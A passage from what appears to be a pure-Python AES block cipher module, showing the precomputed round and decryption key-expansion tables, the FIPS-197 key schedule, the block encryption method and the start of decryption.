0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ]
124 T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ]
125
126 # Transformations for decryption key expansion
127 U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ]
128 U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ]
129 U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ]
130 U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ]
131
132 def __init__(self, key):
133
134 if len(key) not in (16, 24, 32):
135 raise ValueError('Invalid key size')
136
137 rounds = self.number_of_rounds[len(key)]
138
139 # Encryption round keys
140 self._Ke = [[0] * 4 for i in xrange(rounds + 1)]
141
142 # Decryption round keys
143 self._Kd = [[0] * 4 for i in xrange(rounds + 1)]
144
145 round_key_count = (rounds + 1) * 4
146 KC = len(key) // 4
147
148 # Convert the key into ints
149 tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ]
150
151 # Copy values into round key arrays
152 for i in xrange(0, KC):
153 self._Ke[i // 4][i % 4] = tk[i]
154 self._Kd[rounds - (i // 4)][i % 4] = tk[i]
155
156 # Key expansion (fips-197 section 5.2)
157 rconpointer = 0
158 t = KC
159 while t < round_key_count:
160
161 tt = tk[KC - 1]
162 tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^
163 (self.S[(tt >> 8) & 0xFF] << 16) ^
164 (self.S[ tt & 0xFF] << 8) ^
165 self.S[(tt >> 24) & 0xFF] ^
166 (self.rcon[rconpointer] << 24))
167 rconpointer += 1
168
169 if KC != 8:
170 for i in xrange(1, KC):
171 tk[i] ^= tk[i - 1]
172
173 # Key expansion for 256-bit keys is "slightly different" (fips-197)
174 else:
175 for i in xrange(1, KC // 2):
176 tk[i] ^= tk[i - 1]
177 tt = tk[KC // 2 - 1]
178
179 tk[KC // 2] ^= (self.S[ tt & 0xFF] ^
180 (self.S[(tt >> 8) & 0xFF] << 8) ^
181 (self.S[(tt >> 16) & 0xFF] << 16) ^
182 (self.S[(tt >> 24) & 0xFF] << 24))
183
184 for i in xrange(KC // 2 + 1, KC):
185 tk[i] ^= tk[i - 1]
186
187 # Copy values into round key arrays
188 j = 0
189 while j < KC and t < round_key_count:
190 self._Ke[t // 4][t % 4] = tk[j]
191 self._Kd[rounds - (t // 4)][t % 4] = tk[j]
192 j += 1
193 t += 1
194
195 # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3)
196 for r in xrange(1, rounds):
197 for j in xrange(0, 4):
198 tt = self._Kd[r][j]
199 self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^
200 self.U2[(tt >> 16) & 0xFF] ^
201 self.U3[(tt >> 8) & 0xFF] ^
202 self.U4[ tt & 0xFF])
203
204 def encrypt(self, plaintext):
205 'Encrypt a block of plain text using the AES block cipher.'
206
207 if len(plaintext) != 16:
208 raise ValueError('wrong block length')
209
210 rounds = len(self._Ke) - 1
211 (s1, s2, s3) = [1, 2, 3]
212 a = [0, 0, 0, 0]
213
214 # Convert plaintext to (ints ^ key)
215 t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)]
216
217 # Apply round transforms
218 for r in xrange(1, rounds):
219 for i in xrange(0, 4):
220 a[i] = (self.T1[(t[ i ] >> 24) & 0xFF] ^
221 self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^
222 self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^
223 self.T4[ t[(i + s3) % 4] & 0xFF] ^
224 self._Ke[r][i])
225 t = copy.copy(a)
226
227 # The last round is special
228 result = [ ]
229 for i in xrange(0, 4):
230 tt = self._Ke[rounds][i]
231 result.append((self.S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
232 result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
233 result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF)
234 result.append((self.S[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF)
235
236 return result
237
238 def decrypt(self, ciphertext):
239 'Decrypt a block of cipher text using the AES block cipher.'
240
241 if len(ciphertext) != 16:
242 raise ValueError('wrong block length')
243
244 rounds = len(self._Kd) - 1
245 (s1, s2, s3) = [3, 2, 1]
